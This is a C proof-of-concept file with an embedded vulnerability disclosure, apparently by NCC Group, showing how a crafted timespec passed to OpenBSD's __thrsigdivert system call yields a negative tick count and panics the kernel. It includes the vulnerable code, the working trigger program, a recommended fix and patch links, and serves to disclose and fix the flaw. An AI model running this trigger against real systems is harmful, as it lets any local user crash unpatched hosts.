/*
 * thrsigdivert_panic.c
 *    Demonstrate a panic through the __thrsigdivert system call.
 *
 * gcc -g thrsigdivert_panic.c -o thrsigdivert_panic
 */

#ifdef BUG_WRITEUP //---------------------------------------------------
__thrsigdivert validation is insufficient and can lead to a panic.

Impact: 
Any user can panic the OpenBSD kernel with the __thrsigdivert system call.

Description:
The __thrsigdivert system call allows a user to sleep for some amount
of time waiting for a signal.  The system call validates the user-provided 
parameters in sys___thrsigdivert() (kern/kern_sig.c) before calling to 
lower layers to implement the sleep:

        if (ts.tv_nsec < 0 || ts.tv_nsec >= 1000000000)
            timeinvalid = 1;
        else {
            to_ticks = (long long)hz * ts.tv_sec +
                ts.tv_nsec / (tick * 1000);
            if (to_ticks > INT_MAX)
                to_ticks = INT_MAX;
        }

This validation is insufficient.  Some values of the user-provided
ts can lead to a negative to_ticks value after conversion.  This 
condition triggers a panic in timeout_add (kern/kern_timeout.c) when 
the to_ticks value is checked to be positive:

        if (to_ticks < 0)
            panic("timeout_add: to_ticks (%d) < 0", to_ticks);

Reproduction:
Run the attached thrsigdivert_panic.c program.  NCC verified that
it causes a panic on OpenBSD 5.9 GENERIC kernel on an x86_64 processor.
NCC Group was able to reproduce this issue on OpenBSD 5.9 release 
running amd64.

Recommendation:
Return an error it ts.tv_sec is negative in sys___thrsigdivert.
Check to see if to_ticks is negative in sys___thrsigdivert 
(kern/kern_sig.c) and, if so, saturate its value at INT_MAX, since 
this indicates an overly large value.

Reported: 2016-07-05
Fixed:    http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_sig.c.diff?r1=1.200&r2=1.201
          http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_synch.c.diff?r1=1.132&r2=1.133
          http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_tc.c.diff?r1=1.28&r2=1.29
          http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_timeout.c.diff?r1=1.47&r2=1.48
          http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/018_timeout.patch.sig
          http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/021_timeout.patch.sig

#endif // BUG_WRITEUP ---------------------------------------------------

#include <stdio.h>
#include <sys/signal.h>

int __thrsigdivert(sigset_t set, siginfo_t *info, const struct timespec *timeout);

int
main(int argc, char **argv)
{
    struct timespec tsp = { 0x687327fff5612f21, 0x63760a};
    siginfo_t info;

    __thrsigdivert(1, &info, &tsp);
    printf("nothing happened!\n");
    return 0;
}

